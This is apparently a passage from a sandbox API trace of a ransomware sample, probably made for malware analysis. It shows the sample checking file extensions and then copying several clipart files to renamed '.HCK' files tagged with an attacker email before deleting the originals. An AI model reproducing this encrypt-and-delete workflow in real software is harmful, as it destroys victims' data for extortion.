lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.871] lstrlenW (lpString=".doc") returned 4 [0164.871] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.871] lstrlenW (lpString=".docx") returned 5 [0164.871] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0164.871] lstrlenW (lpString=".pdf") returned 4 [0164.871] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.871] lstrlenW (lpString=".xls") returned 4 [0164.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".xlsx") returned 5 [0164.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0164.872] lstrlenW (lpString=".ppt") returned 4 [0164.872] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".zip") returned 4 [0164.872] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".rar") returned 4 [0164.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".bz2") returned 4 [0164.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.872] lstrlenW (lpString=".7z") returned 3 [0164.872] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".dbf") returned 4 [0164.872] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".1cd") returned 4 [0164.872] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".jpg") returned 4 [0164.872] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".doc") returned 4 [0164.872] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.872] lstrlenW (lpString=".docx") returned 5 [0164.872] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0164.872] lstrlenW (lpString=".pdf") returned 4 [0164.872] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".xls") returned 4 [0164.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".xlsx") returned 5 [0164.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0164.872] lstrlenW (lpString=".ppt") returned 4 [0164.872] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".zip") returned 4 [0164.872] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".rar") returned 4 [0164.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.872] lstrlenW (lpString=".bz2") returned 4 [0164.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.872] lstrlenW (lpString=".7z") returned 3 [0164.872] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.872] lstrlenW (lpString=".dbf") returned 4 [0164.872] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.873] lstrlenW (lpString=".1cd") returned 4 [0164.873] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0164.873] lstrlenW (lpString=".jpg") returned 4 [0164.873] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.873] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0164.873] lstrlenW (lpString="J0099194.GIF") returned 12 [0164.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.873] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=25265) returned 1 [0164.873] CloseHandle (hObject=0x2e8) returned 1 [0164.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0164.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.874] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.874] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.874] GetLastError () returned 0x0 [0164.874] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x62b1, lpOverlapped=0x0) returned 1 [0165.244] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x62c0, lpOverlapped=0x0) returned 1 [0165.245] ReadFile (in: hFile=0x2e8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.245] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.245] SetEndOfFile (hFile=0x388) returned 1 [0165.417] CloseHandle (hObject=0x388) returned 1 [0165.425] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.425] SetEndOfFile (hFile=0x2e8) returned 1 [0165.434] CloseHandle (hObject=0x2e8) returned 1 [0165.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0165.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.445] lstrlenW (lpString=".doc") returned 4 [0165.445] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.445] lstrlenW (lpString=".docx") returned 5 [0165.445] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0165.445] lstrlenW (lpString=".pdf") returned 4 [0165.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.445] lstrlenW (lpString=".xls") returned 4 [0165.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.445] lstrlenW (lpString=".xlsx") returned 5 [0165.445] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0165.445] lstrlenW (lpString=".ppt") returned 4 [0165.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.445] lstrlenW (lpString=".zip") returned 4 [0165.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".rar") returned 4 [0165.446] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".bz2") returned 4 [0165.446] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString=".7z") returned 3 [0165.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".dbf") returned 4 [0165.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".1cd") returned 4 [0165.446] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".jpg") returned 4 [0165.446] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".doc") returned 4 [0165.446] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString=".docx") returned 5 [0165.446] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0165.446] lstrlenW (lpString=".pdf") returned 4 [0165.446] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".xls") returned 4 [0165.446] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".xlsx") returned 5 [0165.446] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0165.446] lstrlenW (lpString=".ppt") returned 4 [0165.446] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".zip") returned 4 [0165.446] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".rar") returned 4 [0165.446] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.446] lstrlenW (lpString=".bz2") returned 4 [0165.446] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString=".7z") returned 3 [0165.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.446] lstrlenW (lpString=".dbf") returned 4 [0165.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.447] lstrlenW (lpString=".1cd") returned 4 [0165.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0165.447] lstrlenW (lpString=".jpg") returned 4 [0165.447] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.447] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.447] lstrlenW (lpString="J0101863.BMP") returned 12 [0165.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.449] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32184) returned 1 [0165.449] CloseHandle (hObject=0x308) returned 1 [0165.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0165.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.458] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.458] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.478] GetLastError () returned 0x0 [0165.478] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.480] WriteFile (in: hFile=0x2e8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.481] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.481] WriteFile (in: hFile=0x2e8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.481] SetEndOfFile (hFile=0x2e8) returned 1 [0165.487] CloseHandle (hObject=0x2e8) returned 1 [0165.500] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.500] SetEndOfFile (hFile=0x364) returned 1 [0165.504] CloseHandle (hObject=0x364) returned 1 [0165.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".doc") returned 4 [0165.512] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".docx") returned 5 [0165.512] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0165.512] lstrlenW (lpString=".pdf") returned 4 [0165.512] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".xls") returned 4 [0165.512] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".xlsx") returned 5 [0165.512] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0165.512] lstrlenW (lpString=".ppt") returned 4 [0165.512] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".zip") returned 4 [0165.512] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".rar") returned 4 [0165.512] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".bz2") returned 4 [0165.512] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".7z") returned 3 [0165.512] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".dbf") returned 4 [0165.512] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".1cd") returned 4 [0165.512] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".jpg") returned 4 [0165.512] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".doc") returned 4 [0165.512] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".docx") returned 5 [0165.512] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0165.512] lstrlenW (lpString=".pdf") returned 4 [0165.512] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".xls") returned 4 [0165.512] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".xlsx") returned 5 [0165.512] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0165.512] lstrlenW (lpString=".ppt") returned 4 [0165.512] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.512] lstrlenW (lpString=".zip") returned 4 [0165.512] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".rar") returned 4 [0165.512] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.512] lstrlenW (lpString=".bz2") returned 4 [0165.512] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.513] lstrlenW (lpString=".7z") returned 3 [0165.513] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.513] lstrlenW (lpString=".dbf") returned 4 [0165.513] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.513] lstrlenW (lpString=".1cd") returned 4 [0165.513] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0165.513] lstrlenW (lpString=".jpg") returned 4 [0165.513] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.513] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.513] lstrlenW (lpString="J0101867.BMP") returned 12 [0165.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.515] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32616) returned 1 [0165.515] CloseHandle (hObject=0x390) returned 1 [0165.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0165.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.529] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.529] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.535] GetLastError () returned 0x0 [0165.536] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7f68, lpOverlapped=0x0) returned 1 [0165.538] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7f70, lpOverlapped=0x0) returned 1 [0165.539] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.539] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.540] SetEndOfFile (hFile=0x364) returned 1 [0165.546] CloseHandle (hObject=0x364) returned 1 [0165.549] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.549] SetEndOfFile (hFile=0x3ac) returned 1 [0165.555] CloseHandle (hObject=0x3ac) returned 1 [0165.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.561] lstrlenW (lpString=".doc") returned 4 [0165.561] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.561] lstrlenW (lpString=".docx") returned 5 [0165.561] lstrcmpiW (lpString1=".docx", 